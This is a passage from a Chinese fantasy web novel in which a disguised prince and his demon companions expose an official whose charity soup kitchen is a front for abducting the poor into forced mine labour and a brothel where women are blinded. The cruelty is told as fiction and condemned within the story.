于是,谢守正又乐呵了起来:原来殿下还是像小时候一样喜欢我的,甚至还特意陪我睡外面。看见没,连垫子都铺好了。
他垫着脚尖,蹑手蹑脚地走过来,悄摸地躺在东方起的身侧。
这一夜,谢守正睡得特别香甜。梦里,他又变回当初的样子,摇着尾巴、吐着
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舌头陪太子殿下在东宫里玩蹴鞠。
太子踢球,他撒丫子跑出去把球叼回来,玩得不亦乐乎。
玩累了,一人一狼就互相依偎躺在树下呼呼大睡。
真好,又幸福了……
“小灰!”
咦殿下好像在喊我呀,又要玩蹴鞠吗?
“唔困,再睡一会儿,睡醒了我就去叼球!”
“叼什么球?小灰,起来进城了!”
直到东方起连着喊了几声,谢守正才一骨碌爬了起来。
然后就看到,三颗脑袋正围在自己头顶。
林副使满脸戏谑在笑:“小灰,你的警惕性哪去了?难怪在狼群里混不下去。”
东方起则是像关怀智障一样的看他,显然也在怀疑他的能力。
谢守正一个轱辘翻了起来:“这我必须得狡辩两句!我平常警惕性很高,一点轻微的声响都不会放过。昨晚……昨晚是个意外!我,我睡迷糊了,以为回到小时候了。嘿嘿……我下次注意,一定注意哈!”
东方起道:“行了,别废话了。城门已经开了,把东西收拾好出发吧。”
谢守正是装东西的时候,才发现车顶破了个大洞。
他爬上去,探着脑袋仔细地看了又看,然后得出的结论:“车顶是被一掌打破的,破损的大小,正好够一个人跌下来。所以——”
他转过头,满面狐疑地看向林倾月和东方起:“你们两位……”
昨天的那一幕,确实有些尴尬,尤其他们又是叔嫂的关系。
林倾月正要解释。
结果下一刻,就听谢守正的声音陡然拔高:“该不会**了吧?”
林倾月:“……”
东方起道:“不要一惊一乍的!没有**,就是车顶不结实,自己破的!赶紧收拾东西进城吧,还要去找修车的,时间不能耽误太久。”
不是**,谢守正就放心了,和红瑶一起把东西收拾收拾装车,然后又驾着马车,跟在那些商贾的队伍里,排队进程。
第97章 善举
进城后,一行三人先就近找了家小饭馆,吃饱喝足。又向店家打听了修车的地方。
虽说车顶破了,但车厢其他的结构完好,把车底补一补就不影响使用了。
店家出来看了一眼他们的马车,道:“客倌的马车看着名贵,普通的修理店估计修得不好。听说城南匠人巷的孙家木工铺,老板手艺极好,不论什么家具、马车都能修补一新。”
谢守正谢过了店家侯爵,对东方起道:“我把车驾去城南修理。公子、小姐,你们就不必跟来了,省得耽误时间。”
林倾月看了眼红瑶:“也好,我们去长史府。”
原本他们可以不必途经东林府,也是因为红瑶之故,才拐了一些路过来。
尚未行至长史府,刚至半途,忽见前房道旁搭起偌大棚帐,内中坐满人,呼噜噜喝着热汤,狼吞虎咽往嘴里塞着馒头,满棚都是饭菜香。
棚外早排起长队,破衣烂衫的百姓们踮着脚往里头瞅,喉结直滚。
随便拉住个挎竹篮的老汉一问才知道,这是苗大人搭的义棚,每月初一十五开张,专供穷得揭不开锅的人免费吃喝。
当林倾月、东方起、红瑶三人来到附近的时候,就听管事在门口大声地招呼着:
“大家都排好队,今日饭食充足,人人可食,不要挤!”
有几个穿着不错的人也跟着要排队吃饭,却被眼尖的管事给轰了出来:“这是给穷人吃的,你们身上穿着绫罗,一看就是不缺吃喝的主,还好意思跟着抢饭?”
穿着绫罗的人道:“我们是本地商户,久闻苗大人贤明,也想来尝一尝贵人家饭菜。”
管事冷冷拒绝:“不行,苗大人有令,只施舍给穷苦大众。走开走开,不要在这里碍事!”
穿着绫罗的人被轰走,倒也不生气,还一个劲地夸赞苗大人仁善。
林倾月远远地瞄了一眼,就见已经坐在食棚里的人,抱着馒头,吃着一菜一汤。菜里居然还能看到荤腥。
别看富贵人家一顿饭奢侈无比,底层的百姓日子艰苦多了。很多人家,一年到头吃不上一顿荤食。因此,哪怕冲着有一份荤,很多人都会赶过来吃这顿饭。
那些排队人,也个个对苗大人的善举夸个不停。甚至有人商议着,要给他送万民伞。
而东方起在来东林之前,就暗中调查过苗东近几年为官的情况。
“苗东出身底层,三十多岁时才依靠举荐,进入官场。初始,只是从七品的候补小官。三年后升为正七品县令。又五年,从六品、正六品……到如今的东林长史已经是从五品官职,可参与州政决策,乃是实权职务。”
如今大齐的官场被士族把持,其他阶层的人,即便有幸闯入官场,也很难有上升的通道。
像苗东这样,能在短短十年内从七品升到从五品的地方大员,可算十分少见了。
东方起道:“他的政绩主要就是民心。做县令时,时常深入民间,广济穷苦大众,深受民众爱戴。”
“深受民众爱戴?”红瑶怨恨地道,“可他的官途,却是靠着我姐姐的骨肉换取的!他明知道我们姐妹都已修成人形,不是普通的狐狸,却狠得下那个心!我不相信这样的男人,会当什么好官!”
“我也不信!”林倾月道,“一个连妻子都可以出卖的人,能是什么好东西?”
东方起道:“我刚才和你们说的是他履历上的记载。但大齐士族的根基很深,固守着成规旧矩。”
“很多底层的官员,哪怕政绩、民心都十分不错,但上升依然十分艰难。换言之,除非是有特殊的机缘,否则光靠政绩不足以让他升得那么快。”
林倾月勾唇一笑:“所以他一定还有其他手段。”
红瑶道:“管他有什么手段,总之他就不是个好东西!我一定要杀了他,为我姐姐和我报仇!可是……”
她顿了顿,又有些丧气:“我先前太冲动了,直接就杀到他面前
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。没想到,他身边居然跟了两个捉妖师,且都很厉害。我被非但没能报仇,还被打伤。那次之后,他的警惕心应该更高,更难杀了。”
东方起道:“苗东的事情,还得仔细查一查。我也想知道,他背后到底还藏着什么秘密。长史的俸禄虽然不少,可能让他常年做这么多的善事,日积月累花的可不是小钱。”
“作为一个出身底层,没有大家族依靠的人。他的钱,是从何而来?但若他真是好官,就算他之前犯了错,也不能随意打杀。”
林倾月说:“难道好官**,就可以赦免?”
东方起道:“我不是这个意思。只是,凡是按律法来。他过去犯了罪,也同样可以交给玄镜司审判。地方上审判不了,还可以转到京城总部。随便动用私行,玄镜司也就没有存在的意义了。”
就在这时,谢守正驾着破了顶的马车远远地过来了。
林倾月问他:“你怎么那么快回来?车没修吗?”
谢守正道:“嗨,别提了!我按照先前那店家的指点,好不容易到木工巷,找到那户手艺最好的店铺。结果,人家关门了。说是他家女儿,前几日忽然失踪了,家里人没心思做事,关了门去找女儿。可是……”
他忽然话锋一转:“……我在门口,嗅到了一些里面有血腥味!”
“我察觉到不对劲后,就绕到那家人的后面,翻了窗子进去查看。
“里面一个人都没有。桌椅家具都是整齐摆放的,锅碗瓢盆也刷得干干净净。但屋里就是有血腥气息,很淡,普通人根本察觉不到。我的鼻子灵敏,才闻到了。”
“我在现场勘察了一遍。可以肯定的是,那户人家发生了意外,绝对不是全家去寻找女儿那么简单。从卧室、堂屋、灶房,都有血腥残留的气息。血腥味最重的,是后面的水井。我怀疑,案发之后,有人从井里打了水,把整个屋子进行了一次大清扫,抹去了所有的痕迹。”
第98章 失踪
从那家出来之后,谢守正又询问了周围的邻居。从邻居那里得知,那家女儿失踪是在三天前,之后家里就开始闭门谢客,不做生意。
也是在三天前的夜晚,邻居听到那家的院里传来叮叮咚咚的声音,而后不久又有车马驶过的声音。天亮后,大门外挂了锁,再不见有人。”
结合之前的情况,再加上晚上的动静,邻居就猜测,他们是外出找女儿去了。
讲述完了这些情况后,谢守正请示东方起:“公子,这事该怎么办?”
东方起沉吟片刻道:“若涉及**案,理应报到衙门去。我们如果什么案子都掺和,只怕永远也到不了北疆。”
林倾月嗤笑:“原来你还知道自己有要事在身,耽误不得呀。”
东方起说:“我就算管闲事,也会在自己的能力、时间范围内——小灰,你去衙门报案。不要暴露自己的身份。”
“只说你是过去修车,闻到里边有血腥味,怀疑里面有人遇害。他们是本地居民,若要出城肯定会有出入的记录。若没有出城记录,那就是凭空消失,说不过去的。”
“普通的衙役虽然没有你的狗鼻子那么灵,但若仔细勘查,肯定也能查到蛛丝马迹。总之,先交给他们办理再说。”
谢守正应道:“行,我去一趟衙门。公子你们是在这里等我,还是怎么着?”
东方起看向林倾月,林倾月一直在看那些排队吃饭的人,忽然道:“我突然又有点饿了,不如我们也去尝尝那里的饭菜?”
东方起道:“我们虽然已经低调打扮了,但明显还达不到穷苦人的标准。”
林倾月挑眉一笑:“那有什么关系?找身破衣服换了不就行了?”
于是,一行四人兵分两路。
林倾月、东方起、红瑶三人混进食棚里吃饭。
谢守正继续当跑腿,去衙门里报案。
府衙里有专门接受案件来访的地方,谢守正自然也熟悉那一套流程。找到相应的人后,就把情况给说了一遍。
最后,他还重点交代道:“你们一定要仔细侦查现场,千万不可有疏漏。还有出入城的记录,也是查案的重点方向,不要……”
话没说完,就被打断:“案子怎么查,从哪个方面入手,自有捕快去操心,你啰哩八唆的,难不成也想当捕快?行了,案子我们已经记下了,就会按流程去走。你回吧!”
谢守正有点恼火:“你这什么态度?官吏不以民为本,却高高在上地敷衍行事,如何对得起你这身公服?”
那小吏的语气更冲:“你是个什么东西,也敢教训本差爷?来人,打出去!”
当即出来四五个衙役推推搡搡的,把谢守正推出了公门。
谢守正气的拳头都举起来了,想想大局为重,不能给太子殿下惹事。于是怒哼了一声:“老子不跟你们计较,刚才我报的案子,你们最好妥善查验,若敢敷衍,我……”
“你待如何?”那些衙役哈哈大笑。
“哪来的傻帽,真以为自己是个角了?”
“行了行了,案子都接了自会处理。你要再敢胡言乱语,就以扰乱治安将你捉拿下狱!”
谢守正冷哼一起,不再和他们计较。寻思着,等回了京城了再以官员身份来信问一下案件最终结果,就知道他们有没有敷衍了。”
从府衙里出来,他一刻不敢耽误,立马就跑去刚才那赈济穷人的食棚,好与东方其他们汇合。
到了那里之后,却没有找到东方起。
谢守正有些疑惑:不是说好在这附近会合吗?那三人去哪里了?
他找了食棚的管事询问,对方道:“我们哪知道人在哪里?这来来往往那么多的食客,我们还能知道所有人的去向不成?”
谢守正又在附近查看是否有他们留下的记号。
可夫附近的墙根、大树,全都查看了一遍,没有任何记号!
这就很不正常了。
就算他们临时遇到什么事儿,要
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离开这里,也会留有记号,以便谢守正能及时跟上。
“所以……”谢守正忽然紧张起来,“公子他们,失踪了!”
不得了咯!
谢守正又四处寻找了一阵子,心头越来越慌。他知道不能再继续下去了,于是就想找到本地的玄镜司分部,调动人手去找人。
可不等他抵达玄镜司,突然被十几个官差给拦住了。
“我们怀疑和孙木匠一家失踪案有关,现抓你回衙门问案子!跟我们走吧。”
“什么玩意?”谢守正反应过来,顿时破口大骂,“他奶奶的!你们都是酒囊饭袋吗?老子是报案人,凭什么拿我当嫌疑人?有证据吗?”
“我们的话就是证据!”对方语气很横。
“滚开!我没功夫陪你们瞎胡闹!”谢守正着急去找东方起,推开前面的衙役就要走。
“嫌犯拒捕,拿下!”一声厉喝,十几个官差齐齐抽出配刀。
谢守正也不甘示弱,很快就打了起来。
以他的实力,对付十几个衙役根本不是问题。可偏偏正动手间,有个小孩从路边冲了出来,眼看要被误伤。
谢守正赶忙收招,转身将对方推了出去。
也就是这么一个打岔的功夫,两条铁链已经死死将他缠住。
周围传来孩子的哭声,路人围拢过来指指点点。
光天化日之下,他又不能展现出妖术,只能被捆着抓走,寻思着等到了人少的地方,再想办法脱身。
衙役将他一路押着,到了一处僻静的转角,谢守正四处张望,见周围没有什么路人,正准备挣脱铁锁。
却猝不及防被一个麻袋都兜头罩住,麻袋里也不知掺用的什么东西,气息难闻。不过瞬间,谢守正就晕晕乎乎地昏倒了。
衙役踹了他几脚,见他没反应,啐了一口,骂道:“多管闲事的外乡人,害得我们兄弟几人跑了一个多时辰才找到你!不是要找孙木匠一家吗?很快你就能见到他们了!”
第99章 **
谢守正醒来的时候还在麻袋,眼前一片漆黑,鼻尖还残留着刺鼻的气息。
而后不等他反应过来,整个人忽然腾空,又重重跌落,滚了一圈后方才停下——摔得脑门疼。
他奋力挣扎了下,“滋啦”一声麻袋裂开,出现在眼前的是一道锈迹斑斑的铁门,刚刚被落了锁。
门外有人喝道:“都他妈老实点,谁敢吵闹,就先割了他的舌头!”
谢守正鼻翼煽动了一下,闻到一股子乱糟糟的气息。
他一转头,就看到偌大个牢房关押了几十个人,有男有女。
那些**部分还在昏迷阶段,小部分刚刚苏醒搞不清楚状况,正在小声的交谈:
“这里是哪里?我们为什么会被关起来?”
“我记得,我刚才在食棚里吃饭,后来的事我就不记得了。”
“对,我也是!”
谢守正想到了什么,赶忙过去问:“你们说的食棚,是明光街上苗大人赈济穷人吃饭的那个地方吗?”
那几个清醒的人,都点了点头。
谢守正的头慢慢转向门口:“所以公子也是被他们抓了?”
下一刻,他突然扑到铁门前喊:“你,过来!”
门口有一个守卫,腰间插着一把血红色的鞭子,听到声音回头瞥了眼,没再动。
谢守正的目光落在血棘鞭上,“你居然偷了我的武器!”
那守卫冷笑一声说:“在这里,你们都是奴隶。奴隶可没有拥有武器的资格,这玩意儿归我了。不过——”
他抽下腰间的鞭子,“我可以让你尝尝,它的滋味。”
说着一鞭子挥来,眼看就要抽到谢守正的面门。鞭子却突然僵在半空中,一动不动。
那护卫察觉出古怪,还想收回,可无论他怎么拉扯,鞭子就像被钉在空中一样,怎么都拉不回来了。
谢守正冷冷地说:“我的武器,也是你们这些杂碎配用的?血棘鞭,召回!”
下一刻,鞭子犹如灵蛇一般,在空中翻转一下,然后嗖的一声飞入铁门内,回到了谢守正的手里。
那护卫见状吓了一跳,张开嘴正准备大喊。
“嗖嗖!”
血棘鞭瞬间飞出,死死地缠住了他的脖子,叫他发不出一个音节来。
谢守正把人拽到门边上,道:“我问你话,你老实交代。要是敢喊人,或者有一句不实的,我就勒断你的脖子!”
一番恐吓之后,他的鞭子才松了松,好让对方可以说话。
“这里是什么地方?”
“玉,玉石矿场。”
“可是玉石镇附近的那个矿场?”
“是。”
“抓我们来这里干什么?”
“挖矿,做劳力。”
“做劳力男人就够了,为什么还要抓女人?”
“女人……也有用处。”
“今天一共抓了多少人?”
“具体的不知道,我只是个小喽喽。”
“今天抓来的其他人的?其他人关在什么地方?”
“对面……还有一间牢房。”
……
林倾月、东方起、红瑶,三人此刻就在对面的牢房。
先前林倾月和东方起在舍饭的食棚附近观察过后,觉得那里处处透着古怪。
而红瑶更是笃定地认为,苗东那种人是不可能做什么好事,除非背后藏着更大的利益。
于是和谢守正分开之后,三人都换了身破旧的粗布麻衣穿上,然后跟着排队的队伍,顺利地进入里面吃饭。
那个食棚是沿街搭设的临时建筑,紧邻着两间卖米粮的铺子。
当贫苦的穷**快朵颐吃饭埋头干饭的时候。会有几个伙计,热心地走过来询问够不够吃,接着还会问一些简单的问题。
比如:“家在哪里?还有没有亲人?身体怎么样?”
林倾月观察到,凡是回答:没有亲人,或者是家里人不在本地的,在吃完饭之后会被请到米粮铺的里面,声称要再送他们一些粮食带回去。
然后,一去不返。
于是,林倾月他们三人,在被对方问到的时候,都自称是过路的,家里没什么亲人,准备去外地投奔亲戚。
果然,他们三人也先后被请去了旁边的米粮铺。
一进入之后,迎接他们的是迷香、棒击等。
为了弄
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清楚这一切是什么情况,他们三个装作被迷晕,不做任何反抗。
然后兜兜转转,被送回了玉石镇。
本来,和他们一道被关在这间牢房里的还有20多人,可进来没多久,那些人就先后被带走了。
此刻,这间牢房里就只剩下他们三人,在商量着事情。
谢守正一拳撂倒门口的守卫,掏出钥匙打开门冲了进来。
“公子!小姐!红瑶!”
看到谢守正的时候,林倾月他们三人也吃了一惊。
东方起道:“小灰,你这次的办事效率很高啊!我还以为你至少要等到一天之后才能找到我们。”
林倾月问:“所以你是怎么找到我们的?”
提到这个谢守正就很生气,于是将自己报案,然后又被当嫌犯给抓了的事说了一遍。
“到了这儿我才明白,什么抓嫌犯!那就是个借口!”
东方起的脸色彻底沉了下来,他原本以为这里的事情,苗东身为长使肯定脱不了关系。
可听了谢守正的话,才知道整个东林府上下官员,恐怕都参与其中!
齐国的矿石产业,大部分国有,一部分在世族手里。
玉石镇的矿山归属于李氏家族,开采至今快二十年。
起初矿产量并不高,直到四五年前开始,整体产量翻倍。李氏家族也因这个玉矿,成为几大世家里最富有的家族。
此刻,东方起大概知道他们产量翻倍,是如何做到的了。
若是普通的劳工聘用,自然有诸多限制,比如工时不能超过5个时辰。还有,工费也是笔不小的开支。
可若是直接用非法拐骗的人员,然后往**压榨,不但能提高产量,且还能省下所有的工费。
谢守正又道:“我刚才从那个守卫处打听到了一些消息。他们除了抓劳力之外,还祸害女人!但是怎么个祸害法,那护卫等级太低,不知道。”
林倾月扶着下巴,盈盈一笑:“想知道还不简单?”
东方起问她:“你意欲何为?”
林倾月道:“静观其变。我倒要看看,这里面到底还藏着多少的脏事!”
第100章 潜入
东方起想了想,把随身的御史监察印章交给谢守正:
“东林府上下官僚机构,皆不可信。即便是此地的玄镜司,有没有**也很难说。安全起见,你拿着这个印章,以朝廷监察御史的身份,去见北原节度使,请他出兵肃清东林府官场。”
北原节度使手下兵力有八万之众,为人正直。最重要的是,他是东方起的亲舅舅,可信!
谢守正还有些不放心:“公子,这里牵扯的利益太大,一旦他们嗅到风吹草动,势必要鱼死网破。要不,咱们一起走吧。”
东方起摇头,眸光在漆黑的夜里,炯炯有神:“在我大齐境内,竟然还有这样罪孽之事,我必须要亲眼看到幕后的一切。如此,才不枉费走这一遭!至于我的安全……”
他轻笑一声:“放心吧,你家公子没有你想的那么脆弱。”
他心意已决,谢守正知道多劝无益,于是再三叮嘱林倾月:“小姐,请一定看顾好公子。北原距此来回要两天时间,我会尽快赶回来!”
说罢,他郑重地向林倾月作了个揖,然后头也不回地走了。
而林倾月则在他走后,把牢房的门重新锁好,然后静观其变。
如此过了一整夜,到了第二天早上。牢房的门再次打开,走进来一个矮胖的中年妇人,身后还跟着几个五大三粗的打手。
那妇人的目光依次从林倾月、东方起、红瑶身上掠过,满意地笑了:
“真是难得一见的美人儿,可惜明珠蒙城.若是好生打扮,绝对能倾国倾城——算你们几个有福了,跟我走吧。”
林倾月给红瑶使了个眼色,红瑶会意,立刻哭哭啼啼地说:“你们要带我们去哪里?放我回家,我还要去找我失散多年的丈夫。”
“旧的不去新的不来,以后你会有很多丈夫。乖乖地走,免得吃苦头。”
身后的打手,立马抽出棍子呵斥:“走!再啰嗦,老子先敲碎你的骨头!”
于是林倾月他们几人,便畏畏缩缩地走出牢房。
对面牢房的门也开了,昨晚被打倒的守卫,此刻脑子还是蒙的,有一部分记忆受到干扰,并不记得之前的事儿。
这里面的人,被分成了两部分,男人全部被带走挖矿。女人们则归到胖女人这里,和林倾月他们汇合成了一队。
这一对总共有八人,东方起是唯一的男人,有点尴尬。
“为什么不把我也送去挖矿?”他本来是想亲眼看看,那些矿工们是如何被压榨。
万万没想到,自己居然落选了。
胖女人笑眯眯地说:“你长得好看,所以不用挖矿。以后放聪明一点,会有你的好日子过。”
东方起:“……”
在胖女人的带领下,在护卫打手们的监视下,他们走过矿山,看到巨大的矿坑底下密密麻麻、成千上万的矿工们正在辛苦劳作。
有的在背负石头、有的在卖力地敲击。
每个人都瘦骨嶙峋,眼神麻木,动作稍慢一些的,就会被监工用鞭子狠狠抽打。
矿坑上方的,竖着一个个的木桩子,起初还不知道是干什么用。走近了才发现,每一个木桩上,都捆着一个人。
有的人还在喘气,喉咙里发出沙哑的声音:“水……水……”
还有的,已经不能称之为人,彻底成了干尸,正在被秃鹫啄食。
队伍里有胆小的女人,被吓得尖叫起来。
胖女人早就看惯了,此刻还能云淡风新的玩笑:“这些是矿上的特产,风干腊肉。不听话想要逃跑的,或者干活不够卖力的,就被绑在上面,一点点地熬死,然后再被秃鹫吃掉。你们看那些秃鹫多聪明,知道这里食物丰富,每天都在这儿盘旋呢。”
此话一出,当场吓倒了两个女子。
胖女人不满地瞪了一眼:“这就受不住了?以后还怎么折腾?把人掐醒。再敢晕倒,就绑到柱子上去喂秃鹫!”
红瑶低声呢喃了句:“人类自相残杀的时候,真是连我们兽类都不如!”
走过宛如人间地狱般的采石场,转到另一片小山坡后,周围的景物
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忽然变得截然不同。
郁郁葱葱的树木、精致的庭院、漂亮的楼宇,好像到了人间天堂。
就连守着这附近的护卫,都衣着整洁、容貌清俊。
在胖女人的带领下,他们走过了小桥流水,穿过了游廊,走到了装修金碧辉煌的厅堂里。
胖女人招呼道:“男的带去南风馆,女的去百花楼。还有这两个……”
她的目光落在林倾月和红瑶身上:“这么美的容貌,那位贵人应该会满意吧?带去王大夫那里,告诉王大夫,下刀的时候注意点,不要再把人弄**。”
下刀?该不会是……
东方起有些不放心,林倾月给他使了个眼色。
他点点头,轻声叮嘱了一句:“注意安全,若有危险,千万保全好自己。”
就这样,一拨来的人被分成了三个方向。
林倾月和红瑶一起被带到了另个小合院里。
一走进院子,就闻到一股子浓烈的草药味。几个小厮忙忙碌碌,晒草药、煮药,还有人正在磨刀,“嚓擦嚓——嚓擦嚓——”
看样子,像是一个医馆?
一个满脸麻子的老头从里面走出,眼神阴鸷冷漠地打量着新来的人。
“王大夫,今儿来两位很不错的姑娘,夫人吩咐让你下刀的时候注意点,不要再把人弄**。”
那王大夫冷哼一声:“那是我弄死的吗?我都说了,术后要休息一两天,是你们太着急了,能怪我吗?”
“是是是!不怪您,不怪您!”
这王大夫在这里似乎还有些地位,那些护卫对他都很客气。
林倾月和红瑶到了这里之后,又被引到房间里。
王大夫洗干净了手,走进来问:“你俩,谁先来?”
林倾月问:“你还没说,要对我们做什么?”
王大夫的目光落在林倾月的身上,赞叹了一声:“你的眼睛真是漂亮。可惜啊,最近那些权贵们看惯了漂亮的眼眸,反而改了口味喜欢盲女。所以,要弄一批眼盲又漂亮的供客人玩乐。”
第101章 魔窟
饶是红瑶这种不把人命当回事,随便就能**烹煮的妖怪,闻言都诧异了:“所以,你要把我们给弄瞎?”
王大夫自顾自地打开小木箱,拿出一根细细长长的银针,道:“你们放心,我的医术精湛,下手很准。这一针下去,只会刺入你们的眼部穴道,不会损伤眼睛的美感。
“只要刺一下,以后啊这世间再多的污秽都看不见了,安安心心地做个瞎子眼不见为净,多好。”
“谁先来?不选的话,我就随便指了!”
林倾月低声对红瑶道:“你的幻术不是很厉害吗?有没有办法不惊动外面的护卫,解决这里的危机?”
“自然有。”
红瑶微微一笑,忽然喊道:“喂,老头!”
“你喊我什么?”
王大夫猛然转身,面露不愉。
“喊你老头,难道有错吗?”
红瑶在林倾月身边时,乖巧低调得像个丫鬟,可此刻水汪汪的眼眸微微一眨,魅惑天成。
只是一个对视,王大夫前一刻还愠怒,下一瞬就眼神就迷离起来,语气也温和了几许。
“好,你来。”
红瑶便笑盈盈地走上来,问他:“老头,这样可以了吗?”
王大夫头点点头,然后举着针在虚空的地方刺了两下,然后拿出白色绑带胡乱地包扎着。
最后,他手一松,绑带飘落,即将落地的时候又被红瑶接住了。
他木然地说着:“好了,下一位。”
“你记错了。”红瑶继续蛊惑,“我们两个都已经做完了手术。”
王大夫顺从地点头:“对,你们完成了。”
此刻屋里还有几个药童、护卫帮着打下手和控制屋里的女子。
眼看情况不对,他们正要有所行动。
红瑶魅惑的眸光忽然扫来,盈盈一笑:“你们看见了什么?”
那几人和她的目光一对上,也瞬间变得迷离起来,一起摇头:“什么没看见。”
红瑶说:“不,你们亲眼看到王大夫完成了手术。”
那几人呆若木鸡,重复着她的话:“王大夫完成了手术,完成了手术……”
红瑶把绑带撕成两条,递给林倾月一条:“绑一下,做个样子。”
林倾月了然点头。
都弄得差不多了,红瑶就对屋里的护卫等人:“接下来,我们是不是该去养伤了?在哪里?”
于是,被她蛊惑的护卫们就将她们带去休养的地方。
林倾月夸了红瑶一句:“不愧是狐媚子,果然厉害。”
红瑶垂下眼帘,有些不好意思:“都是些对付普通人的雕虫小技罢了。若是遇到有本事的捉妖师,很轻易就能破解。”
然而下一刻,红瑶忽然脸色一变,呕吐了一大口鲜血。
林倾月急忙搀住了她,问:“怎么啦?”
红瑶道:“我受到了一种很强的反噬之力,不知道是不是跟刚才使用妖术有关。”
“使用妖术,就会受到反噬?”林倾月的脸色凝重了下来,“不好!这附近好像,设了可以反制妖邪的阵法。”
红瑶道:“这和我当初潜入苗东府邸报仇时一样。像这种地方,怨气这么重,他找人不布阵下阵法,也合乎常理。毕竟他现在可是地方大员,能量巨大。”
林倾月道:“既然如此,那你便不要再随便使用妖术。”
红瑶点头:“只能如此了。”
虽然暂时不能用妖术,但刚才的蛊惑之力还在,暂时能让他们免除伤害。
休息室就在手术间的后面,穿过一个厅堂就到了。
里面还有一个女子,眼睛上蒙着白色的纱布,正躺在一个大通铺上,听到开门的声音,她如惊弓之鸟一样瑟缩了起来。
红瑶走过来看了看,遗憾地对林倾月道:“这姑娘的眼睛已经瞎了。”
那姑娘听红瑶说话的语气和这里人不太一样,问道:“你们也是被抓到这里的?逃,你们一定要逃出去!”
她的情绪忽然激动了起来,双手胡乱地乱挥:“这里是魔窟,是魔窟!来这里的女子都要被刺瞎眼睛。我的眼睛……”
她的手颤颤巍巍地扶着眼睑外的纱布,声音透着绝望:“我已经
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瞎了,再也看不见了。”
林倾月走近一些,问道:“你叫什么?家住何处?说不定,很快咱们就都能得救了,到时我送你回家。”
“回家?”那姑娘哭了,眼泪润湿了纱布,血红血红的。
她说:“我没有家了,我的家人都被他们害**!”
“谁害你?”红瑶问。
“苗东!东林府长史,那个魔鬼!”
一番询问,林倾月和红瑶才得知,这姑娘名叫孙喜儿,东林府人,父亲是开木工铺子的。
因为手艺好,铺子的生意不错,也算小富之家。
然而,就在十几天前,孙喜儿和母亲上街的时候,被路过的苗东给瞧见了。
当天,长史府就派人来下聘,要娶她做小妾。
孙家就这一个独生女儿,自小捧着手心里长大。家中条件尚可,父母一直舍不得把女儿嫁出去,正准备找个上门女婿。又哪里舍得让女儿做小妾?
别人不知道,但孙喜儿的父亲因为是木匠,之前被请去长史府做过几次工。听说,那位苗大人娶了十几房的小妾。
在这些贵人的眼里,妾就是私人财产。有时甚至可以拿来招待宾客,陪酒陪吃陪睡。
因此,疼爱女儿的孙木匠便一口拒绝了这门亲事。
苗东的官声在东林一带极好,尤其他每月初一、十五大设食棚,广济穷人。这样好的官,应该不会为难他们这些小老百姓吧?
在接下来的几天里,也确实没有什么动静。
孙家人都以为这事就此过去了,甚至已经开始托媒婆找合适的上门女婿。
可惜,他们实在太天真了。
那天晚上,孙喜儿刚刚睡下,一群人突然闯入了孙家。
带头的人孙木匠认识,就是那天替苗大人下聘的管事。
孙木匠披着衣服出来:“管事大人,您怎么这么晚了还……”
不等说完,就被那管事一脚踹开,又冲进了孙喜儿的闺房,将她衣衫不整地从床上拖了下来。
孙喜儿吓得尖叫,孙木匠夫妇也赶忙跪下,一个劲地求饶。
第102章 我们都是蝼蚁……何谈复仇?
那管事笑了:“现在知道怕了?晚了!能被我家大人看上,那是多大的荣耀?你们居然不识好歹的拒绝,还到处张罗着给女儿找上门女婿。这是在打谁的脸?是觉得大人做不了上门女婿,就配不上你家女儿吗?”
“不是的,不是的!”孙木匠一个劲磕头求饶,“我们就这一个女儿,不求大富大贵,只想承欢膝下。所以才想找上门女婿的。是我们配不上苗大人,是我们配不上!”
管事叹了口气:“现在说这些已经晚了,我家大人已经动怒。大人说……”
他笑眯眯地摸着孙喜儿漂亮的脸蛋:“……既然那**不想服侍本官,那就让她被千人骑、万人睡!来人,带走!”
“不!”
孙木匠哪里舍得女儿被如此糟蹋,疯狂地扑过来想护住女儿。
喜儿母亲拽着那管事,哭着质问:“苗大人不是好官吗?每个月都给穷人吃饭,所有人都说他是难得一见的好官呀!好官,这么能强抢民女呢?”
“滚开!”管事一脚将人踹开。
喜儿母亲吃不住力仰面摔倒,脑袋磕在石阶上,当场就没了命。
孙木匠见妻子**,女儿又要被抢走,怒从心起,抄起一把木工刀就要去拼命。
可他又怎会是那些恶人对手呢?
不过三两下他就被放倒,按在地上、塞住嘴巴,在管事的命令下活活**。血流了一地,死的时候眼睛还不甘地瞪着。
那一夜,天暗得像化不开的浓墨,看不到一丝光明,只有强权压得人毫无办法。
而那些恶徒们,临走前处理了尸体、抹去的血迹,就这么轻而易举的将孙家人从东林府抹消。
“他们杀**我的父母,又把我带到了这个魔窟。他们说,有位贵人喜欢盲女的温驯,所以就要刺瞎我的眼睛,我的眼睛好疼、好疼……”
也是听了这些,林倾月才知道,原来孙木匠一家的突然消失竟是因为这个。
难怪谢守正去报案后,却被反诬成嫌犯,原来如此!
“我是三日前被送来的,听一位姐姐说,这地方是专门接待来此看玉器的贵人。那些贵人很多都有特殊嗜好。有些喜欢盲女,有些喜欢浑身伤疤的……总之女子到了这里,就不再是人,连畜生都不如。”
红瑶说:“你别哭了,再哭你眼睛的伤口会恶化。你且安心等等,我报仇的时候会连同你的仇一起报!”
孙喜儿问:“你要报仇?你的仇人是谁?难道你也和苗东有仇?”
红瑶点头:“是,有仇。深仇大恨,不亚于你。”
孙喜儿惨然一笑:“可那些人高高在上,我们都是弱女子如何能报仇?我爹爹努力经营了一辈子,才靠着自己的手艺撑起铺子、攒下家私,让我们一家过着吃喝不愁的日子。”
“可那一夜之后我才知道,原来普通人拼尽全力一辈子,好不容易获得的一切,只要贵人一句话,便会烟消云散,连命都没有了。”
“我们都是蝼蚁……何谈复仇?”
林倾月走上前来,在她蒙着纱布的眼睛上抚过,道:“你且先休息,也许等你睡醒,一切就好了。”
自从家逢巨变后,她再不能安心睡觉。尤其是眼睛,刺痛得厉害。
此刻被林倾月的手抚过之后,刺痛之感忽然消失,困意上头使得她缓缓躺下,很快就陷入了梦乡。
林倾月对红瑶道:“你在这里看着,我出去看看。”
红瑶叮嘱:“小姐,注意安全。”
虽然这里到处都是守卫,但以林倾月如今的能力,出入此处如入无人之境界。
她将整个地方都探查了一遍,发现这座雅致的别院一共分为三个区域。
占地方最大的,是百花楼的区域。里面清一色都是年轻漂亮的女子。有正常的,也有刻意弄成伤残的。但无一例外,这些女子来路都不正常。或是被卖、或是被抢来的。
其次就是南风馆,里面是都是年轻、俊朗的男子。
东方起也在里面,此刻也偷偷摸摸地溜了出来。看到林倾月,赶忙过
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来汇合。
“你那边的情况怎么样?可有受到什么伤害吗?”
